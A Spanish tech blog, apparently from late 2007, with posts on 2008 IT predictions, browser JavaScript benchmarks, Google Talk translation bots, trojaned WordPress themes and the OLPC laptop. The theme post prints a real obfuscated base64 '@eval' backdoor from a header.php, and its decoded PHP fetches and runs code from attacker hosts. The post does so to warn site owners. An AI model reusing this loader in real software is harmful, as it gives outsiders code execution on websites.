Predicciones para el 2008

La prestigiosa revista británica "The Economist", en su página web ha publicado un interesante artículo sobre las tendencias que dominarán la escena de las tecnologías de la información en el 2008. Lo primero que destaca es que el navegar por Internet cada vez se volverá más lento debido al incremento del tráfico para descargar música, video-clips, juegos o programas. Compara a Internet con una autopista congestionada debido a un feriado largo.

Otra tendencia que veremos consolidarse en el 2008 será el hecho que Internet se volverá más móvil, que estará presente en todo tipo de dispositivos móviles cómo celulares o PDA. Además de resaltar el tremendo impacto que tendrá el hecho de que Google entre al mercado de móviles dado que esta última ha entrado en la puja de la frecuencia de 700 MHz, la nueva banda para celulares que estará disponible  para las telecomunicaciones luego de que la TV de señal abierta (VHF) pase a formato digital en febrero del 2009.

Finalmente otra importante tendencia que se consolidará en el 2008 es que tanto el navegar por Internet, cómo todo lo demás relacionado a las computadoras, se volverá más abierto (en el sentido del Open Source). El artículo describe cómo luego de la victoria de Linux sobre SCO, las pequeñas empresas han comenzado a tener más confianza en este OS.  El artículo destaca cómo tanto Asus como Everex, dos fabricantes de PC taiwaneses con PC’s completamente funcionales con precios por debajo de $400 amenazan seriamente la posición de mercado de Windows que necesita PC de $1000 para poder correr Windows Vista Business Edition, además de un pago de $200 por el Microsoft Office.

El artículo finalmente concluye diciendo que ni Microsoft ni Apple están en condiciones de competir con el precio de Linux en el desktop, y que aplicaciones cómo Linux, OpenOffice, Firefox, Evolution, MySQL, Pidgin y un largo etcétera de 23,000 aplicaciones más están suficientemente maduras para entrar a los escritorios de las empresas.

Firefox 2 procesa JavaScripts más lento que IE 7

El último miercoles (19 de diciembre de 2007), en la página web Coding Horror, apareció una comparativa de los 4 principales navegadores de Internet, estos son: Opera 9.5, Safari 3.0.4, Explorer 7 y Firefox 2. Las categorías en que fueron evaluados fueron: renderización 3D, acceso a los objetos de la página web, operadores de bit (bitops), control de flujo, encriptación, operaciones con fechas, operaciones matemáticas, expresiones regulares (regexp) y manejo de cadenas de texto (string).

En todas las pruebas realizadas Firefox 2 resultó ser el más lento de los 4 browser analizados procesando JavaScripts, si consideramos que el error detectado en IE procesando strings (cadenas de texto) sera pronto solucionado . Las pruebas fueron hechas usando una herramienta de benchmarking llamado SunSpider, aunque hay que resaltar que la plataforma utilizada no fue de las mejores para probar un Firefox, ya que se uso Windows Vista de 32-bits para efectuar las pruebas. El hardware usado fue un Dual Core de 3.0 GHz y 4 GB de RAM, con todas las extensiones de los navegadores deshabilitadas.

Traducción en tiempo real en Google Talk

El IM (Instant Messenger) de Google, ahora ofrece bots (robots) que realizan la traducción automática entre deiversos idiomas mientras se chatea. Para ello el bot debe ser añadido a la lista de contactos, y este actuará cómo un traductor de tiempo real. Osea ahora se puede conversar con personas de distintas partes del mundo así no se hable el idioma, el anuncio ha sido dado el día martes pasado (18 de diciembre de 2007) por Jonas Lindberg, Ingeniero de Software de Google, a través del blog de Google Talk.

Los bots estan convenientemente nombrados en función de la función que realizan, por ejemplo en2es@bot.talk.google.com es el bot que traduce del inglés al español y para la traducción del español al inglés usaríamos es2en@bot.talk.google.com.

En total Google ofrece 24 bots de traducción, aunque el idioma predominante es el inglés, es posible encontrar bots entre lenguajes como de2fr@bot.talk.google.com (aleman a frances). Google tambien advierte que este es un proyecto en desarrollo y aún no esta completo, es más Google considera que el proyecto aún esta en un 20% de desarrollo, pero con todo ayudará a romper las barreras del lenguaje. Por el momento estos bots de traducción sólo estan dispobibles en el Google Talk, y no pueden ser usados en otros servicios de mensajería instantánea, aunque esta funcionalidad podría ser incluída en el futuro.

Troyanos en themes de WordPress

Se ha reportado en varios websites relacionados a seguridad, que han aparecido themes de WordPress con código malicioso en ellos, por lo general estos themes se distribuyen de forma gratuita en websites que ofrecen servicios de descargas de themes. Uno de estos lugares es wpsphere.com, que distribuye themes de terceros, alguno de los cuales contienen código malicioso que permiten a un atacante externo inyectar código javascript en los blogs que usen esos themes.

El primero en dar la voz de alarma fue Paul Carroll en su blog. El encontro el siguiente código malicioso dentro del archivo header.php  un theme de wpsphere.com:

@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));


Éste código no es más que un script que inyecta código javascript en la cabecera de la página web, desde los websites www.wpssr.com y www.wpsnc.com, cómo se puede determinar eso, pues simplemente haciendo la decodificación MIME del código anterior, con lo que obtenemos éste código:

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&". "host=".
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 =
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}
else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&".
"host=". urlencode($_SERVER['HTTP_HOST']);
readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);


El truco usado es usar la función "eval" de PHP para ejecutar código PHP dentro de un array, y un array codificado en MIME para ocultar el código maligno.

Es por ello que se recomienda, no bajar desde sitios web de terceros themes o plugins, sino usar el website del autor directamente, o en su defecto auditar el código antes de usarlo en nuestro blog o CMS, ya que incluso esta forma de ataque es reproducible en CMS cómo Joomla, Mambo o Drupal. Finalmente, mejor que descargar un theme de otro es hacerlo uno mismo, de esta forma se tiene total control del código.

Las OLPC y el riesgo que encierran.

Quisiera exponer algunos puntos que debemos tener en cuenta respecto al software que traerán las 260,000 laptops que ha adquirido el gobierno y que serán repartidas entre los escolares de menores recursos y zonas de frontera.

Para que mis opiniones puedan ser entendidas sería bueno que le de un vistazo al GUI (Graphical User Interface) que traerán estas Laptops, que se llama Sugar.

Si Ud. es un fanático de Linux y el OpenSource, pues no tendrá problema en hacer correr el Sugar en cualquiera de las más populares distribuciones Linux cómo: Fedora, Ubuntu o Debian, sin embargo ese no es el caso de la mayoría, que merece observar de primera mano qué es lo que se va ha comprar con dinero de todos nosotros. Para los que usan Windows, he escrito este tutorial: "Probando el software del OLPC desde Windows XP".

Si ya lo ha probado, pues Ud. se habrá dado cuenta de ciertas cosas:

  1. La interface es completamente diferente a todas la otras que haya visto, no se parece en nada ni a Windows, OS X, KDE, Gnome o cualquier otro GUI que haya visto antes. El simple hecho de cerrar una aplicación es toda una aventura de descubrimiento . La idea es que esto debe ser sencillo para un niño, incluso si no sabe leer ni escribir. Aunque debe ser un pedagogo experto en educación de las tecnologías de la información, quien dé un juicio de valor sobre Sugar, por lo pronto lo único que puedo decir es que es un nuevo paradigma de GUI.
  2. Las aplicaciones disponibles (llamadas actividades), no son muchas. Hay lo básico, siendo la herramienta principal para interactuar con Internet, el navegador web Firefox. Pero nuevamente adaptado, no hay barra de menú. Además no hay un panel de control desde donde poder administrar la laptop. Por ejemplo, no pude encontrar donde configurar una impresora.
  3. La OLPC añade hardware diseñado ad-hoc, por lo tanto no puede ser emulada al 100% desde una PC, pero de lo que puede ser emulado, se deduce una tremenda diferencia entre lo que se pensó que debía de ser el OLPC y lo que realmente es el OLPC. Primeramente debemos entender cuál es la idea de la OLPC, esta laptop está pensada para reemplazar al profesor (no para complementarlo). Negroponte se dio cuenta que los países pobres no saldrían de su atraso, si es que no educaban rápidamente a las nuevas generaciones para que estas se integraran a la revolución digital. Seguir el módelo japonés de mediados del siglo XIX de enviar a los jóvenes más brillantes ha educarse a los países desarrollados, para que luego estos volvieran a enseñar en casa lo aprendido, no parecía realista (la mayoría no volvería). Y capacitar a los profesores en las nuevas tecnologías, para que estos enseñaran a los niños, también parecía un camino largo y de resultados inciertos. Es por ello que se pensó en proveer directamente a cada niño con un computador, que fuera lo suficientemente inteligente para que pueda enseñarles las bases de las nuevas tecnologías de la información, además de los conocimientos básicos de lenguaje (inglés), matemática y ciencias básicas. La idea fuerza detrás del proyecto era: es más fácil, rápido y barato producir una máquina, que entrenar a millones de profesores. Sin embargo el OLPC está a años luz de dicho objetivo.
  4. No hay un filtro de contenidos, es posible ir a sitios porno o casinos usando el navegador. Así que las OLPC pueden no ser la herramienta que transforme la educación, sino por el contrario el anzuelo que lleve a nuestras nuevas generaciones a un mundo de consumismo digital.

Yo en principio creo que es posible transformar la educación reemplazando a los profesores por máquinas, realmente la gran mayoría de los profesores que tenemos en el Perú son fruto de un sistema educativo quebrado (no es culpa de ellos), por lo tanto lo único que harán será preservar ese modelo (ya lo dice el viejo refrán: "No se le pueden enseñar palabras nuevas a un loro viejo"). El actual sistema educativo no produce gente con mentalidad de superación, que no le teman a la competencia, rápidos para aprender, adaptables, dispuestos al trabajo duro y continuo para conseguir objetivos concretos, que sepan priorizar el uso de los recursos existentes, que tenga iniciativa y sobre todo bilingües (inglés + español), para que puedan entrar al mercado global a competir de igual a igual con otras personas de diversas partes del mundo. Pero si no tenemos un sistema de evaluación único y estándar, que nos permita identificar a los mejores, para concentrarlos en escuelas especiales, donde serán reforzados por los mejores profesores que tengamos, para que luego ellos sean la semilla de la siguiente generación, no iremos muy lejos.

Lamentablemente tenemos que reconocer que no todos somos iguales. Así como no todos podemos estar en la selección nacional de fútbol, pues no contamos con las habilidades del caso, no es lógico pensar que con dar la misma educación a todos, todos tendrán exactamente el mismo nivel, si eso fuera cierto, entonces tomemos a los gerentes por sorteo, o a los médicos por sorteo, a los ingenieros por sorteo, en lugar de hacerlos a través de un examen de selección.

La mejor forma de mejorar las cosechas o animales de crianza es el llamado mejoramiento genético, que no es otra cosa más que tomar a los mejores individuos y usarlos como base para la siguiente generación. De esa forma cada nueva generación recibe la herencia de sólo los mejores, luego se vuele a aplicar otra selección sobre esta nueva generación y es la base de la siguiente. Exactamente esa misma idea es la que se debe aplicar a la educación, sólo debe permitirse que los mejores sean los que enseñen, lamentablemente el puesto de profesor, especialmente el del estado, se ha convertido en el refugio de aquellos que no consiguen trabajo (precisamente los menos adaptable). Y ojo, esto no sólo es para los niveles inicial, primario y secundario; también en la educación superior se ve esto.

En resumen lo que trato de decir es que sólo aplicar mal la tecnología, es cómo aplicar mal el liberalismo económico. Los problemas seguirán allí.